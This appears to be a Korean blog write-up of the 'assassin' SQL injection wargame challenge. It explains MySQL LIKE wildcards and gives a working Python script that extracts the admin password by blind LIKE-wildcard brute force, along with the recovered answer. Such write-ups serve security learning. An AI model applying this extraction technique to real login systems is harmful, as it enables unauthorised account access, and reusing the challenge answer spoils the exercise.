티스토리 뷰

728x90
반응형

if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");

pw 파라미터에 대한 필터링으로는 '(작은따옴표)만 막고 있습니다.

 

$query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
if($result['id'] == 'admin') solve("assassin");

그리고 들어온 pw 파라미터에 대한 query 의 결과로 아이디가 admin 일 경우 문제는 바로 풀린다고 합니다.

 

우선 문제를 풀기 위해서는 where 절의 like 문에 대해서 알아야 하는데요.

 

MySQL 은 두 가지 wildcard 문자인 %(퍼센테이지) 와 _(언더바)를 제공하고 있습니다.

  • % 는 0개 또는 한 개 이상의 문자를 의미합니다.
  • _ 는 한 개의 문자를 의미합니다.

예를 들어서 dom% 이라고 한다면 dom 으로 시작하는 domdomi, domimi, domdoni 들이 이에 해당되겠습니다.

그리고 do_ 라고 한다면 dom, don, doy, dot 들이 해당되겠지요.

(참고로 한 개의 문자를 뜻하는 _(언더바)가 아닌 말그대로 _(언더바) 그 자체를 문자로 쓰고 싶은 경우에는 ESCAPE 문자인 \(백슬래시)나 $(달러) 기호를 쓰면 됩니다)

 

다시 문제로 돌아가서 관리자의 pw 의 길이부터 구해보면 _(언더바)가 몇개가 들어가는 지로 알 수 있을 것입니다.

select id from prob_assassin where pw like '________';

위와 같이 _(언더바)를 8개 쓰면 Hello guest 라고 나오는 것을 볼 수 있습니다. 8개보다 이하이거나 이상이어도 안되는 것을 보면 prob_assassin 이라는 테이블에 존재하는 계정들은 모두 pw가 8글자인 것으로 보입니다.

 

다시 말해 guest 와 admin 의 계정의 pw 길이가 8글자로 동일하다는 것이겠습니다.

이제는 실제 admin 계정의 pw 문자열을 구하면 되겠습니다. _(언더바)를 이용해서 문자열을 구할 수도 있겠지만, 저는 %(퍼센테이지) 하나만 이용해서 한번 구해보겠습니다.

 

원리는 이렇습니다. Hello admin 이라는 문자열이 화면에 출력될 때까지 0~9, a~f 까지 돌려보는 것입니다.

근데 주의할 점은 guest 와 admin 모두 pw 의 첫 글자가 9 로 시작한다면, 어떤 결과가 나올까요? 네, 바로 Hello guest 가 나옵니다. 그 이유는 guest 가 admin 보다 테이블의 더 위쪽에 있기 때문입니다. 그래서 이 부분을 주의해서 코드를 작성해야 합니다.

 

물론 답은 pw=902% 까지만 입력해도 문제는 풀립니다. 하지만 저는 코드는 admin 의 pw를 전부 구하는 것으로 작성해보았습니다.

import requests

def SQLI():
	url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?"
	headers = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션 값'
	}
	length = 8
	result = ""
	tmp = ""

	# pw 구하기
	hexStr = "0123456789abcdef"
	for l in range(1, length + 1):
		for i in hexStr:
			param = "pw="+result+i+"%25"
			res = requests.get(url+param, headers=headers, cookies=cookies)
			if i == hexStr[-1] and tmp:
				result += tmp
				tmp = ""
				break
			if(res.text.find('<h2>Hello admin</h2>') != -1):
				result += i
				break
			elif(res.text.find('<h2>Hello guest</h2>') != -1):
				tmp = i
	print('[+] Result: ' + result)

if __name__ == '__main__':
	SQLI()

# [+] Result: 902efd10

이제 위 코드에서 구한 pw 값을 URL에 입력하고서 전송하면 아래와 같이 문제가 풀립니다.

 

- 끝 -

728x90
반응형
댓글